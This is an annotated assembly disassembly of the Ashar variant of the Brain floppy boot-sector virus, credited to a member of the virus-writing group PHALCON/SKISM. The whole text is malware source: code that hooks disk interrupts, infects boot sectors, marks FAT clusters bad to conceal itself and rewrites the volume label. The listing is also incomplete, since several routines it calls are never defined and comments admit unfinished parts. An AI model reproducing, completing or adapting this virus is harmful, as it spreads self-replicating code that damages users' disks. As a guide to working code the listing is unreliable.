; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end